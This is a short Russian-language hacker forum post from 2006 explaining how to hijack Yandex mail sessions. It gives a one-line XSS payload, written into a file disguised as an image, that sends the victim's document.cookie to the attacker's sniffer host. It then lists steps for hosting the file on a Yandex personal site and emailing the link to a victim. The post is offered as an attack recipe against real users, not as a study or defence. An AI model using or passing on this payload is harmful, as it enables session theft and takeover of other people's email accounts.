угон сесии на яндексе

Discussion in 'Уязвимости Mail-сервисов' started by KUELLER, 26 May 2006.

Thread Status:
Not open for further replies.
  1. KUELLER

    KUELLER New Member

    Joined:
    6 Dec 2005
    Messages:
    3
    Likes Received:
    3
    Reputations:
    0
    ща расскажу как угнать сесию на яндексе:



    нам потребуеться 3 вещи:картинка,снифер,письмо.


    1.открываем любую картинку блокнотом,удаляем все и пишем скрипт типа
    Code:
    <script>img=new Image(); img.src="путь к снифу?;"+document.cookie;</script>
    2.заводим почту на яндексе(если нет),идем на народ.яндекс и там заходим на свой "сайт".
    3.заливаем картинку.
    4.отправляем письмо жертве с ссылкой на картинку.
    5.смотрим снифер.
     
    3 people like this.
Thread Status:
Not open for further replies.